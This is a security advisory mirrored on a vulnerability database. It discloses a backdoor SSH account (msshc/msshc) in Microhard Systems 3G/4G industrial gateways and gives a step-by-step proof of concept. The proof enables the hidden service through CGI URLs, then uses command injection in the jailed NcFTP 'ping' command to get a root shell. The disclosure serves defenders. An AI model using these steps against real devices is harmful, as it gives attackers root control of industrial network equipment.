Lucene search
K

Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Backdoor Jailbreak

🗓️ 16 Jul 2018 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak. Vulnerabilities in IPn4Gb, IPn3Gb, Bullet-3G, Dragon-LTE, VIP4Gb

Code
`  
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak  
  
  
Vendor: Microhard Systems Inc.  
Product web page: http://www.microhardcorp.com  
Affected version: IPn4G 1.1.0 build 1098  
IPn3Gb 2.2.0 build 2160  
IPn4Gb 1.1.6 build 1184-14  
IPn4Gb 1.1.0 Rev 2 build 1090-2  
IPn4Gb 1.1.0 Rev 2 build 1086  
Bullet-3G 1.2.0 Rev A build 1032  
VIP4Gb 1.1.6 build 1204  
VIP4G 1.1.6 Rev 3.0 build 1184-14  
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196  
IPn3Gii / Bullet-3G 1.2.0 build 1076  
IPn4Gii / Bullet-LTE 1.2.0 build 1078  
BulletPlus 1.3.0 build 1036  
Dragon-LTE 1.1.0 build 1036  
  
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution  
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb  
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control  
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial  
RS232/485/422 devices!  
  
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses  
the widespread deployment of cellular network infrastructure for critical data collection.  
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!  
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It  
provides robust and secure wireless communication of Serial, USB and Ethernet data.  
  
The all new Bullet-3G provides a compact, robust, feature packed industrial strength  
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things  
to the next level by providing features such as Ethernet with PoE, RS232 Serial port  
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated  
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution  
worth looking at!  
  
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength  
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote  
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight  
system integration and design flexibility with dual Ethernet Ports and high power  
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access  
Control Lists, the Dragon-LTE provides a solution for any cellular application!  
  
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE  
network infrastructure for critical data communications. The VIP4Gb provides simultaneous  
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital  
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in  
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.  
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.  
  
Desc: The web shell application includes a service called Microhard Sh that is documented  
only as 'reserved for internal use'. This service can be enabled by an authenticated  
user within the Services menu in the web admin panel. This can also be enabled via CSRF  
attack. When the service is enabled, a user 'msshc' is created on the system with password  
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP  
jailed environment, that has limited commands for file transfer administration. One of the  
commands is a custom added 'ping' command that has a command injection vulnerability that  
allows the attacker to escape the restricted environment and enter into a root shell terminal  
that can execute commands as the root user.   
  
Tested on: httpd-ssl-1.0.0  
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5486  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php  
  
  
13.03.2018  
  
--  
  
  
1) Enable Microhard Sh service:  
-------------------------------  
  
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service  
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)  
  
  
2) Check what happens when enabling Microhard Sh service:  
---------------------------------------------------------  
  
# cat /etc/init.d/msshc  
#!/bin/sh /etc/rc.common  
# Copyright (C) 2013 Microhardcorp  
  
start() {  
deluser msshc  
rm -rf /tmp/msshc  
mkdir -p /tmp/msshc  
msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")  
[ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells  
passwd=$(/sbin/uci get msshc.general.passwd)  
echo "$passwd" >> /etc/passwd  
}  
  
stop() {  
deluser msshc  
rm -rf /tmp/msshc  
}  
  
  
3) Check the /etc/msshc.sh script:  
----------------------------------  
  
# cat /etc/msshc.sh  
#!/bin/sh   
# Copyright (C) 2013 Microhardcorp  
  
/usr/bin/ncftp  
  
exit 0  
  
  
4) Check the /sbin/uci binary:  
------------------------------  
  
Usage: /sbin/uci [<options>] <command> [<arguments>]  
  
Commands:  
batch  
export [<config>]  
import [<config>]  
changes [<config>]  
commit [<config>]  
add <config> <section-type>  
add_list <config>.<section>.<option>=<string>  
show [<config>[.<section>[.<option>]]]  
get <config>.<section>[.<option>]  
set <config>.<section>[.<option>]=<value>  
delete <config>[.<section[.<option>]]  
rename <config>.<section>[.<option>]=<name>  
revert <config>[.<section>[.<option>]]  
  
Options:  
-c <path> set the search path for config files (default: /etc/config)  
-d <str> set the delimiter for list values in uci show  
-f <file> use <file> as input instead of stdin  
-L do not load any plugins  
-m when importing, merge data into an existing package  
-n name unnamed sections on export (default)  
-N don't name unnamed sections  
-p <path> add a search path for config change files  
-P <path> add a search path for config change files and use as default  
-q quiet mode (don't print error messages)  
-s force strict mode (stop on parser errors, default)  
-S disable strict mode  
-X do not use extended syntax on 'show'  
  
# /sbin/uci get msshc.general.passwd  
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh  
  
  
5) Check the NcFTP binary:  
--------------------------  
  
# /usr/bin/ncftp -h  
  
Usage: ncftp [flags] [<host> | <directory URL to browse>]  
  
Flags:  
-u XX Use username XX instead of anonymous.  
-p XX Use password XX with the username.  
-P XX Use port number XX instead of the default FTP service port (21).  
-j XX Use account XX with the username (rarely needed).  
-F Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.  
  
Program version: NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM  
Library version: LibNcFTP 3.2.5 (January 17, 2011)  
Build system: Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...  
  
This is a freeware program by Mike Gleason (http://www.NcFTP.com).  
A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/  
Use ncftpget and ncftpput for command-line FTP and file URLs.  
  
  
6) Go to jail:  
--------------  
  
lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]  
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.  
RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.  
Are you sure you want to continue connecting (yes/no)? yes  
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.  
[email protected]'s password:   
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).  
  
Copyright (c) 1992-2011 by Mike Gleason.  
All rights reserved.  
  
ncftp> ?  
Commands may be abbreviated. 'help showall' shows hidden and unsupported   
commands. 'help <command>' gives a brief description of <command>.  
  
ascii close help mkdir put rename set umask   
binary debug lls open pwd rhelp show   
cd dir lrm passive quit rm site   
chmod get ls ping quote rmdir type   
  
For details, please see the manual ("man ncftp" at your regular shell prompt  
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).  
ncftp> help showall  
Commands may be abbreviated. 'help showall' shows hidden and unsupported  
commands. 'help <command>' gives a brief description of <command>.  
  
? chmod exit ls mv pwd rhelp site  
ascii close get mget open quit rm type  
binary debug help mkdir passive quote rmdir umask  
bye delete lls mls ping rename set  
cd dir lrm mput put rglob show  
  
For details, please see the manual ("man ncftp" at your regular shell prompt  
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).  
ncftp> ls  
ls: must be connected to do that.  
ncftp> man ncftp  
man: no such command.  
ncftp> pwd  
pwd: must be connected to do that.  
ncftp> show  
anon-password NcFTP@  
auto-ascii |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|  
auto-resume no  
autosave-bookmark-changes no  
confirm-close no  
connect-timeout 20  
control-timeout 135  
logsize 10240  
pager more  
passive optional  
progress-meter 2 (statbar)  
redial-delay 20  
save-passwords ask  
show-status-in-xterm-titlebar no  
so-bufsize 0 (use system default)  
xfer-timeout 3600  
yes-i-know-about-NcFTPd no  
ncftp>  
  
  
7) The Shawshank Redemption:  
----------------------------   
  
ncftp> ping -c1 -4 0.0.0.0 `id`   
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary  
  
Usage: ping [OPTIONS] HOST  
  
Send ICMP ECHO_REQUEST packets to network hosts  
  
Options:  
-4, -6 Force IPv4 or IPv6 hostname resolution  
-c CNT Send only CNT pings  
-s SIZE Send SIZE data bytes in packets (default:56)  
-I IFACE/IP Use interface or IP address as source  
-W SEC Seconds to wait for the first response (default:10)  
(after all -c CNT packets are sent)  
-w SEC Seconds until ping exits (default:infinite)  
(can exit earlier with -c CNT)  
-q Quiet, only displays output at start  
and when finished  
  
ncftp>  
  
  
8) Come on Andy:  
----------------  
  
ncftp> ping -c1 -4 0.0.0.0 && /bin/sh  
PING 0.0.0.0 (0.0.0.0): 56 data bytes  
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms  
  
--- 0.0.0.0 ping statistics ---  
1 packets transmitted, 1 packets received, 0% packet loss  
round-trip min/avg/max = 0.423/0.423/0.423 ms  
  
  
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
/tmp/msshc # id ; uname -r  
uid=0(root) gid=0(root)  
2.6.32.9  
/tmp/msshc #   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation